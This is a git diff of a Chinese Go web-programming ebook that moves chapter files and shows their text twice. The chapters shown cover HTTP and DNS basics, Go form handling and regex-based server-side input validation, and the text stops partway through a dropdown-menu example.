一个Web服务器也被称为HTTP服务器,它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。
|
||||
|
||||
Web服务器的工作原理可以简单地归纳为:
|
||||
|
||||
- 客户机通过TCP/IP协议建立到服务器的TCP连接
|
||||
- 客户端向服务器发送HTTP协议请求包,请求服务器里的资源文档
|
||||
- 服务器向客户机发送HTTP协议应答包,如果请求的资源包含有动态语言的内容,那么服务器会调用动态语言的解释引擎负责处理“动态内容”,并将处理得到的数据返回给客户端
|
||||
- 客户机与服务器断开。由客户端解释HTML文档,在客户端屏幕上渲染图形结果
|
||||
|
||||
一个简单的HTTP事务就是这样实现的,看起来很复杂,原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的,也就是当服务器发送了应答后就与客户机断开连接,等待下一次请求。
|
||||
|
||||
## URL和DNS解析
|
||||
我们浏览网页都是通过URL访问的,那么URL到底是怎么样的呢?
|
||||
|
||||
URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下
|
||||
|
||||
schema://host[:port#]/path/.../[?query-string][#anchor]
|
||||
scheme 指定低层使用的协议(例如:http, https, ftp)
|
||||
host HTTP服务器的IP地址或者域名
|
||||
port# HTTP服务器的默认端口是80,这种情况下端口号可以省略。如果使用了别的端口,必须指明,例如 http://www.cnblogs.com:8080/
|
||||
path 访问资源的路径
|
||||
query-string 发送给http服务器的数据
|
||||
anchor 锚
|
||||
|
||||
DNS(Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”,它的基本工作原理可用下图来表示。
|
||||
|
||||

|
||||
|
||||
图3.2 DNS工作原理
|
||||
|
||||
更详细的DNS解析的过程如下,这个过程有助于我们理解DNS的工作模式
|
||||
|
||||
1. 在浏览器中输入www.qq.com域名,操作系统会先检查自己本地的hosts文件是否有这个网址映射关系,如果有,就先调用这个IP地址映射,完成域名解析。
|
||||
|
||||
2. 如果hosts里没有这个域名的映射,则查找本地DNS解析器缓存,是否有这个网址映射关系,如果有,直接返回,完成域名解析。
|
||||
|
||||
3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系,首先会找TCP/IP参数中设置的首选DNS服务器,在此我们叫它本地DNS服务器,此服务器收到查询时,如果要查询的域名,包含在本地配置区域资源中,则返回解析结果给客户机,完成域名解析,此解析具有权威性。
|
||||
|
||||
4. 如果要查询的域名,不由本地DNS服务器区域解析,但该服务器已缓存了此网址映射关系,则调用这个IP地址映射,完成域名解析,此解析不具有权威性。
|
||||
|
||||
5. 如果本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发器)进行查询,如果未用转发模式,本地DNS就把请求发至 “根DNS服务器”,“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理,并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后,将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后,如果自己无法解析,它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后,就会找qq.com域服务器,重复上面的动作,进行查询,直至找到www.qq.com主机。
|
||||
|
||||
6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管是本地DNS服务器用是是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客户机。
|
||||
|
||||

|
||||
|
||||
图3.3 DNS解析的整个流程
|
||||
|
||||
> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。
|
||||
>
|
||||
> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长,学长告诉他,这姑娘是xx系的;然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学,助理同学说是xx系yy班的,然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。
|
||||
|
||||
通过上面的步骤,我们最后获取的是IP地址,也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。
|
||||
|
||||
## HTTP协议详解
|
||||
|
||||
HTTP协议是Web工作的核心,所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。
|
||||
|
||||
HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上,一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求,服务器响应这个请求。在HTTP中,客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系,也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如,当浏览器下载一个文件时,你可以通过点击“停止”键来中断文件的下载,关闭与服务器的HTTP连接。
|
||||
|
||||
HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。
|
||||
|
||||
>HTTP协议是建立在TCP协议之上的,因此TCP攻击一样会影响HTTP的通讯,例如比较常见的一些攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
|
||||
|
||||
### HTTP请求包(浏览器信息)
|
||||
|
||||
我们先来看看Request包的结构, Request包分为3部分,第一部分叫Request line(请求行), 第二部分叫Request header(请求头),第三部分是body(主体)。header和body之间有个空行,请求包的例子所示:
|
||||
|
||||
GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
|
||||
Host:www.iana.org //服务端的主机名
|
||||
User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息
|
||||
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine
|
||||
Accept-Encoding:gzip,deflate,sdch //是否支持流压缩
|
||||
Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集
|
||||
//空行,用于分割请求头和消息体
|
||||
//消息体,请求资源参数,例如POST传递的参数
|
||||
|
||||
我们通过fiddler抓包可以看到如下请求信息
|
||||
|
||||

|
||||
|
||||
图3.4 fiddler抓取的GET信息
|
||||
|
||||

|
||||
|
||||
图3.5 fiddler抓取的POST信息
|
||||
|
||||
**我们可以看到GET请求消息体为空,POST请求带有消息体**。
|
||||
|
||||
HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE. 一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。 我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息.
|
||||
我们看看GET和POST的区别
|
||||
1. GET提交的数据会放在URL之后,以?分割URL和传输数据,参数之间以&相连,如EditPosts.aspx?name=test1&id=123456. POST方法是把提交的数据放在HTTP包的Body中.
|
||||
2. GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制.
|
||||
3. GET方式提交数据,会带来安全问题,比如一个登录页面,通过GET方式提交数据时,用户名和密码将出现在URL上,如果页面可以被缓存或者其他人可以访问这台机器,就可以从历史记录获得该用户的账号和密码。
|
||||
|
||||
### HTTP响应包(服务器信息)
|
||||
我们再来看看HTTP的response包,他的结构如下:
|
||||
|
||||
HTTP/1.1 200 OK //状态行
|
||||
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
|
||||
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
|
||||
Content-Type: text/html //服务器发送信息的类型
|
||||
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
|
||||
Connection: keep-alive //保持连接状态
|
||||
Content-Length: 90 //主体内容长度
|
||||
//空行 用来分割消息头和主体
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体
|
||||
|
||||
Response包中的第一行叫做状态行,由HTTP协议版本号, 状态码, 状态消息 三部分组成。
|
||||
|
||||
状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。HTTP/1.1协议中定义了5类状态码, 状态码由三位数字组成,第一个数字定义了响应的类别
|
||||
|
||||
- 1XX 提示信息 - 表示请求已被成功接收,继续处理
|
||||
- 2XX 成功 - 表示请求已被成功接收,理解,接受
|
||||
- 3XX 重定向 - 要完成请求必须进行更进一步的处理
|
||||
- 4XX 客户端错误 - 请求有语法错误或请求无法实现
|
||||
- 5XX 服务器端错误 - 服务器未能实现合法的请求
|
||||
|
||||
我们看下面这个图展示了详细的返回信息,左边可以看到有很多的资源返回码,200是常用的,表示正常信息,302表示跳转。response header里面展示了详细的信息。
|
||||
|
||||

|
||||
|
||||
图3.6 访问一次网站的全部请求信息
|
||||
|
||||
### HTTP协议是无状态的和Connection: keep-alive的区别
|
||||
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。
|
||||
|
||||
HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(面对无连接)。
|
||||
|
||||
从HTTP/1.1起,默认都开启了Keep-Alive保持连接特性,简单地说,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的TCP连接。
|
||||
|
||||
Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同服务器软件(如Apache)中设置这个时间
|
||||
|
||||
## 请求实例
|
||||
|
||||

|
||||
|
||||
图3.7 一次请求的request和response
|
||||
|
||||
上面这张图我们可以了解到整个的通讯过程,同时细心的读者是否注意到了一点,一个URL请求但是左边栏里面为什么会有那么多的资源请求(这些都是静态文件,go对于静态文件有专门的处理方式)。
|
||||
|
||||
这个就是浏览器的一个功能,第一次请求url,服务器端返回的是html页面,然后浏览器开始渲染HTML:当解析到HTML DOM里面的图片连接,css脚本和js脚本的链接,浏览器就会自动发起一个请求静态资源的HTTP请求,获取相对应的静态资源,然后浏览器就会渲染出来,最终将所有资源整合、渲染,完整展现在我们面前的屏幕上。
|
||||
|
||||
>网页优化方面有一项措施是减少HTTP请求次数,就是把尽量多的css和js资源合并在一起,目的是尽量减少网页请求静态资源的次数,提高网页加载速度,同时减缓服务器的压力。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Web基础](<03.0.md>)
|
||||
* 下一节: [GO搭建一个web服务器](<03.2.md>)
|
||||
0
03.2.md → ebook/03.2.md
Executable file → Normal file
0
03.2.md → ebook/03.2.md
Executable file → Normal file
0
03.3.md → ebook/03.3.md
Executable file → Normal file
0
03.3.md → ebook/03.3.md
Executable file → Normal file
0
03.4.md → ebook/03.4.md
Executable file → Normal file
0
03.4.md → ebook/03.4.md
Executable file → Normal file
18
03.5.md → ebook/03.5.md
Executable file → Normal file
18
03.5.md → ebook/03.5.md
Executable file → Normal file
@@ -1,9 +1,9 @@
|
||||
# 3.5 小结
|
||||
这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。
|
||||
|
||||
希望通过这一章的学习,你能够对Go开发Web有了初步的了解,我们也看到相应的代码了,Go开发Web应用是很方便的,同时又是相当的灵活。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go的http包详解](<03.4.md>)
|
||||
* 下一章: [表单](<04.0.md>)
|
||||
# 3.5 小结
|
||||
这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。
|
||||
|
||||
希望通过这一章的学习,你能够对Go开发Web有了初步的了解,我们也看到相应的代码了,Go开发Web应用是很方便的,同时又是相当的灵活。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [Go的http包详解](<03.4.md>)
|
||||
* 下一章: [表单](<04.0.md>)
|
||||
50
04.0.md → ebook/04.0.md
Executable file → Normal file
50
04.0.md → ebook/04.0.md
Executable file → Normal file
@@ -1,25 +1,25 @@
|
||||
# 4 表单
|
||||
|
||||
表单是我们平常编写Web应用常用的工具,通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉,但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
|
||||
|
||||
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
|
||||
|
||||
<form>
|
||||
...
|
||||
input 元素
|
||||
...
|
||||
</form>
|
||||
|
||||
Go里面对于form处理已经有很方便的方法了,在Request里面的有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。
|
||||
|
||||
HTTP协议是一种无状态的协议,那么如何才能辨别是否是同一个用户呢?同时又如何保证一个表单不出现多次递交的情况呢?4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息,能够每次通过header和服务器进行交互的数据)等进行详细讲解。
|
||||
|
||||
表单还有一个很大的功能就是能够上传文件,那么Go是如何处理文件上传的呢?针对大文件上传我们如何有效的处理呢?4.5小节我们将一起学习Go处理文件上传的知识。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第三章总结](<03.5.md>)
|
||||
* 下一节: [处理表单的输入](<04.1.md>)
|
||||
# 4 表单
|
||||
|
||||
表单是我们平常编写Web应用常用的工具,通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉,但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
|
||||
|
||||
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
|
||||
|
||||
<form>
|
||||
...
|
||||
input 元素
|
||||
...
|
||||
</form>
|
||||
|
||||
Go里面对于form处理已经有很方便的方法了,在Request里面的有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。
|
||||
|
||||
HTTP协议是一种无状态的协议,那么如何才能辨别是否是同一个用户呢?同时又如何保证一个表单不出现多次递交的情况呢?4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息,能够每次通过header和服务器进行交互的数据)等进行详细讲解。
|
||||
|
||||
表单还有一个很大的功能就是能够上传文件,那么Go是如何处理文件上传的呢?针对大文件上传我们如何有效的处理呢?4.5小节我们将一起学习Go处理文件上传的知识。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第三章总结](<03.5.md>)
|
||||
* 下一节: [处理表单的输入](<04.1.md>)
|
||||
214
04.1.md → ebook/04.1.md
Executable file → Normal file
214
04.1.md → ebook/04.1.md
Executable file → Normal file
@@ -1,107 +1,107 @@
|
||||
# 4.1 处理表单的输入
|
||||
|
||||
先来看一个表单递交的例子,我们有如下的表单内容,命名成文件login.gtpl(放入当前新建项目的目录里面)
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<form action="http://127.0.0.1:9090/login" method="post">
|
||||
用户名:<input type="text" name="username">
|
||||
密码:<input type="password" name="password">
|
||||
<input type="submit" value="登陆">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢?
|
||||
|
||||
http包里面有一个很简单的方式就可以获取,我们在前面web的例子的基础上来看看怎么处理login页面的form数据
|
||||
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"html/template"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func sayhelloName(w http.ResponseWriter, r *http.Request) {
|
||||
r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body)
|
||||
//注意:如果没有调用ParseForm方法,下面无法获取表单的数据
|
||||
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
|
||||
fmt.Println("path", r.URL.Path)
|
||||
fmt.Println("scheme", r.URL.Scheme)
|
||||
fmt.Println(r.Form["url_long"])
|
||||
for k, v := range r.Form {
|
||||
fmt.Println("key:", k)
|
||||
fmt.Println("val:", strings.Join(v, ""))
|
||||
}
|
||||
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
|
||||
}
|
||||
|
||||
func login(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Println("method:", r.Method) //获取请求的方法
|
||||
if r.Method == "GET" {
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
t.Execute(w, nil)
|
||||
} else {
|
||||
//请求的是登陆数据,那么执行登陆的逻辑判断
|
||||
fmt.Println("username:", r.Form["username"])
|
||||
fmt.Println("password:", r.Form["password"])
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", sayhelloName) //设置访问的路由
|
||||
http.HandleFunc("/login", login) //设置访问的路由
|
||||
err := http.ListenAndServe(":9090", nil) //设置监听的端口
|
||||
if err != nil {
|
||||
log.Fatal("ListenAndServe: ", err)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的,这是个字符串类型的变量,返回GET, POST, PUT等method信息。
|
||||
|
||||
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面,其他方式请求时则处理登录逻辑,如查询数据库、验证登录信息等。
|
||||
|
||||
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
|
||||
|
||||

|
||||
|
||||
图4.1 用户登录界面
|
||||
|
||||
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的,为什么呢?默认情况下,Handler里面是不会自动解析form的,必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
|
||||
|
||||
`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所有当你在URL的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
|
||||
|
||||
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`,再次测试,服务器的输出username是不是一个slice。服务器端的输出如下:
|
||||
|
||||

|
||||
|
||||
图4.2 服务器端打印接受到的信息
|
||||
|
||||
`request.Form`是一个url.Values类型,里面存储的是对应的类似`key=value`的信息,下面展示了可以对form数据进行的一些操作:
|
||||
|
||||
v := url.Values{}
|
||||
v.Set("name", "Ava")
|
||||
v.Add("friend", "Jess")
|
||||
v.Add("friend", "Sarah")
|
||||
v.Add("friend", "Zoe")
|
||||
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
|
||||
fmt.Println(v.Get("name"))
|
||||
fmt.Println(v.Get("friend"))
|
||||
fmt.Println(v["friend"])
|
||||
|
||||
>**Tips**:
|
||||
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [表单](<04.0.md>)
|
||||
* 下一节: [验证表单的输入](<04.2.md>)
|
||||
# 4.1 处理表单的输入
|
||||
|
||||
先来看一个表单递交的例子,我们有如下的表单内容,命名成文件login.gtpl(放入当前新建项目的目录里面)
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<form action="http://127.0.0.1:9090/login" method="post">
|
||||
用户名:<input type="text" name="username">
|
||||
密码:<input type="password" name="password">
|
||||
<input type="submit" value="登陆">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢?
|
||||
|
||||
http包里面有一个很简单的方式就可以获取,我们在前面web的例子的基础上来看看怎么处理login页面的form数据
|
||||
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"html/template"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func sayhelloName(w http.ResponseWriter, r *http.Request) {
|
||||
r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body)
|
||||
//注意:如果没有调用ParseForm方法,下面无法获取表单的数据
|
||||
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
|
||||
fmt.Println("path", r.URL.Path)
|
||||
fmt.Println("scheme", r.URL.Scheme)
|
||||
fmt.Println(r.Form["url_long"])
|
||||
for k, v := range r.Form {
|
||||
fmt.Println("key:", k)
|
||||
fmt.Println("val:", strings.Join(v, ""))
|
||||
}
|
||||
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
|
||||
}
|
||||
|
||||
func login(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Println("method:", r.Method) //获取请求的方法
|
||||
if r.Method == "GET" {
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
t.Execute(w, nil)
|
||||
} else {
|
||||
//请求的是登陆数据,那么执行登陆的逻辑判断
|
||||
fmt.Println("username:", r.Form["username"])
|
||||
fmt.Println("password:", r.Form["password"])
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", sayhelloName) //设置访问的路由
|
||||
http.HandleFunc("/login", login) //设置访问的路由
|
||||
err := http.ListenAndServe(":9090", nil) //设置监听的端口
|
||||
if err != nil {
|
||||
log.Fatal("ListenAndServe: ", err)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的,这是个字符串类型的变量,返回GET, POST, PUT等method信息。
|
||||
|
||||
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面,其他方式请求时则处理登录逻辑,如查询数据库、验证登录信息等。
|
||||
|
||||
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
|
||||
|
||||

|
||||
|
||||
图4.1 用户登录界面
|
||||
|
||||
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的,为什么呢?默认情况下,Handler里面是不会自动解析form的,必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
|
||||
|
||||
`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所有当你在URL的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
|
||||
|
||||
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`,再次测试,服务器的输出username是不是一个slice。服务器端的输出如下:
|
||||
|
||||

|
||||
|
||||
图4.2 服务器端打印接受到的信息
|
||||
|
||||
`request.Form`是一个url.Values类型,里面存储的是对应的类似`key=value`的信息,下面展示了可以对form数据进行的一些操作:
|
||||
|
||||
v := url.Values{}
|
||||
v.Set("name", "Ava")
|
||||
v.Add("friend", "Jess")
|
||||
v.Add("friend", "Sarah")
|
||||
v.Add("friend", "Zoe")
|
||||
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
|
||||
fmt.Println(v.Get("name"))
|
||||
fmt.Println(v.Get("friend"))
|
||||
fmt.Println(v["friend"])
|
||||
|
||||
>**Tips**:
|
||||
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [表单](<04.0.md>)
|
||||
* 下一节: [验证表单的输入](<04.2.md>)
|
||||
326
04.2.md → ebook/04.2.md
Executable file → Normal file
326
04.2.md → ebook/04.2.md
Executable file → Normal file
@@ -1,163 +1,163 @@
|
||||
# 4.2 验证表单的输入
|
||||
|
||||
开发Web的一个原则就是,不能信任用户输入的任何信息,所以验证和过滤用户的输入信息就变得非常重要,我们经常会在微博、新闻中听到某某网站被入侵了,存在什么漏洞,这些大多是因为网站对于用户输入的信息没有做严格的验证引起的,所以为了编写出安全可靠的Web程序,验证表单输入的意义重大。
|
||||
|
||||
我们平常编写Web应用主要有两方面的数据验证,一个是在页面端的js验证(目前在这方面有很多的插件库,比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
|
||||
|
||||
## 必填字段
|
||||
你想要确保从一个表单元素中得到一个值,例如前面小节里面的用户名,我们如何处理呢?Go有一个内置函数`len`可以获取字符串的长度,这样我们就可以通过len来获取数据的长度,例如:
|
||||
|
||||
if len(r.Form["username"][0])==0{
|
||||
//为空的处理
|
||||
}
|
||||
|
||||
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮,则根本不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,如果是map的值,必须通过上面的方式来获取。
|
||||
|
||||
## 数字
|
||||
你想要确保一个表单输入框中获取的只能是数字,例如,你想通过表单获取某个人的具体年龄是50岁还是10岁,而不是像“一把年纪了”或“年轻着呢”这种描述
|
||||
|
||||
如果我们是判断正整数,那么我们先转化成int类型,然后进行处理
|
||||
|
||||
getint,err:=strconv.Atoi(r.Form.Get("age"))
|
||||
if err!=nil{
|
||||
//数字转化出错了,那么可能就不是数字
|
||||
}
|
||||
|
||||
//接下来就可以判断这个数字的大小范围了
|
||||
if getint >100 {
|
||||
//太大了
|
||||
}
|
||||
|
||||
还有一种方式就是正则匹配的方式
|
||||
|
||||
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
对于性能要求很高的用户来说,这是一个老生常谈的问题了,他们认为应该尽量避免使用正则表达式,因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下,对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉,而且你在其它语言中也在使用它,那么在Go里面使用正则表达式将是一个便利的方式。
|
||||
|
||||
>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字符都是UTF-8编码的。
|
||||
|
||||
## 中文
|
||||
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有效的验证只有正则方式来验证,如下代码所示
|
||||
|
||||
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
## 英文
|
||||
我们期望通过表单元素获取一个英文值,例如我们想知道一个用户的英文名,应该是astaxie,而不是asta谢。
|
||||
|
||||
我们可以很简单的通过正则验证数据:
|
||||
|
||||
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
## 电子邮件地址
|
||||
你想知道用户输入的一个Email地址是否正确,通过如下这个方式可以验证:
|
||||
|
||||
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
|
||||
fmt.Println("no")
|
||||
}else{
|
||||
fmt.Println("yes")
|
||||
}
|
||||
|
||||
|
||||
## 手机号码
|
||||
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
|
||||
|
||||
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
|
||||
return false
|
||||
}
|
||||
|
||||
## 下拉菜单
|
||||
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
|
||||
|
||||
我们的select可能是这样的一些元素
|
||||
|
||||
<select name="fruit">
|
||||
